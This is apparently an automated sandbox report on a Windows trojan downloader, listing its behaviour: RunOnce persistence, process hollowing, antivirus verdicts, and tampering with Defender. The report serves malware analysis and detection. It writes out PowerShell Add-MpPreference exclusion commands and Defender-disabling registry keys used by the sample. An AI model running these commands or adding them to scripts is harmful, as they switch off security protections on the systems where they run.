cmdline	C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe /EXEFilename "C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\ꍖꎂꍔꍘꍖꍖꍔꍘꍗꍙꎃꍡꎁꎅꍔ

reg_value

C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸촵촥촤촬\svchost.exe

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2776 manipulating memory of non-child process 1956
NtUnmapViewOfSection Oct. 22, 2021, 9:02 a.m.	base_address: 0x00400000 region_size: 10158080 process_identifier: 1956 process_handle: 0x0000074c		3221225497	0

Creates known SpyNet files, registry changes and/or mutexes. (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Spynet

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe

File has been identified by 23 AntiVirus engines on VirusTotal as malicious (23 events)

MicroWorld-eScan	Gen:Variant.MSILHeracles.29136
FireEye	Gen:Variant.MSILHeracles.29136
McAfee	Artemis!F389BCAEDE3B
Cylance	Unsafe
Sangfor	Backdoor.MSIL.Citrate.gen
CrowdStrike	win/malicious_confidence_60% (W)
Cyren	W32/MSIL_Kryptik.EHH.gen!Eldorado
ESET-NOD32	a variant of MSIL/TrojanDownloader.Agent.JEQ
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Gen:Variant.MSILHeracles.29136
Avast	FileRepMalware
Ad-Aware	Gen:Variant.MSILHeracles.29136
McAfee-GW-Edition	Artemis!Trojan
Sophos	Mal/Generic-S
APEX	Malicious
MAX	malware (ai score=80)
Microsoft	Trojan:Win32/Woreflint.A!cl
Cynet	Malicious (score: 100)
Malwarebytes	Trojan.Downloader.MSIL.Generic
Ikarus	Trojan-Downloader.MSIL.Agent
SentinelOne	Static AI - Suspicious PE
AVG	FileRepMalware
MaxSecure	Trojan.Malware.300983.susgen

Disables Windows Security features (4 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection

Executed a process and injected code into it, probably while unpacking (43 events)

Time & API	Arguments	Status	Return
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2776	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000154 suspend_count: 1 process_identifier: 2776	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 2776	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x0000033c suspend_count: 1 process_identifier: 2776	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000594 suspend_count: 1 process_identifier: 2776	1	0
NtGetContextThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000000e8	1	0
NtGetContextThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000000e8	1	0
NtGetContextThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000000e8	1	0
NtSetContextThread Oct. 22, 2021, 9:02 a.m.	registers.eip: 1920740228 registers.esp: 3730516 registers.edi: 58635552 registers.eax: 3735584 registers.ebp: 3730520 registers.edx: 59819168 registers.ebx: 1023400 registers.esi: 431592 registers.ecx: 61865984 thread_handle: 0x000000e8 process_identifier: 2776	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000000e8 suspend_count: 1 process_identifier: 2776	1	0
NtGetContextThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000000e8	1	0
NtGetContextThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000000e8	1	0
NtGetContextThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000000e8	1	0
NtSetContextThread Oct. 22, 2021, 9:02 a.m.	registers.eip: 1920740228 registers.esp: 3730496 registers.edi: 16707 registers.eax: 64944880 registers.ebp: 3730532 registers.edx: 16706 registers.ebx: 62729176 registers.esi: 1 registers.ecx: 55960 thread_handle: 0x000000e8 process_identifier: 2776	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000000e8 suspend_count: 1 process_identifier: 2776	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x0000020c suspend_count: 1 process_identifier: 2776	1	0
CreateProcessInternalW Oct. 22, 2021, 9:02 a.m.	thread_identifier: 2236 thread_handle: 0x000006a4 process_identifier: 2252 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸촵촥촤촬\svchost.exe" -Force filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000006ac	1	1
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000238 suspend_count: 1 process_identifier: 2776	1	0
CreateProcessInternalW Oct. 22, 2021, 9:02 a.m.	thread_identifier: 596 thread_handle: 0x000006ac process_identifier: 2276 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\new.exe" -Force filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000006c0	1	1
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000006b0 suspend_count: 1 process_identifier: 2776	1	0
CreateProcessInternalW Oct. 22, 2021, 9:02 a.m.	thread_identifier: 1812 thread_handle: 0x000006bc process_identifier: 2856 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\쳶쳱촵쳴쳰촴촡촁쳲촉쳸촵촥촤촬\svchost.exe" -Force filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000006dc	1	1
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000006cc suspend_count: 1 process_identifier: 2776	1	0
CreateProcessInternalW Oct. 22, 2021, 9:02 a.m.	thread_identifier: 1120 thread_handle: 0x00000728 process_identifier: 2840 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run filepath_r: C:\Users\test22\AppData\Local\Temp\fc0b12b6-d84a-405f-b859-e50e46c7a939\AdvancedRun.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000750	1	1
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x0000073c suspend_count: 1 process_identifier: 2776	1	0
CreateProcessInternalW Oct. 22, 2021, 9:02 a.m.	thread_identifier: 2240 thread_handle: 0x00000740 process_identifier: 2244 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\new.exe" -Force filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000768	1	1
CreateProcessInternalW Oct. 22, 2021, 9:02 a.m.	thread_identifier: 2324 thread_handle: 0x0000075c process_identifier: 1956 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\new.exe filepath_r: stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x0000074c	1	1
NtUnmapViewOfSection Oct. 22, 2021, 9:02 a.m.	base_address: 0x00400000 region_size: 10158080 process_identifier: 1956 process_handle: 0x0000074c		3221225497
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000002a8 suspend_count: 1 process_identifier: 2252	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000002fc suspend_count: 1 process_identifier: 2252	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000458 suspend_count: 1 process_identifier: 2252	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000004b8 suspend_count: 1 process_identifier: 2252	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000294 suspend_count: 1 process_identifier: 2276	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000002e8 suspend_count: 1 process_identifier: 2276	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000444 suspend_count: 1 process_identifier: 2276	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000004a4 suspend_count: 1 process_identifier: 2276	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000294 suspend_count: 1 process_identifier: 2856	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000002e8 suspend_count: 1 process_identifier: 2856	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000444 suspend_count: 1 process_identifier: 2856	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000004a4 suspend_count: 1 process_identifier: 2856	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000002a8 suspend_count: 1 process_identifier: 2244	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000002fc suspend_count: 1 process_identifier: 2244	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x00000458 suspend_count: 1 process_identifier: 2244	1	0
NtResumeThread Oct. 22, 2021, 9:02 a.m.	thread_handle: 0x000004b8 suspend_count: 1 process_identifier: 2244	1	0

new.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All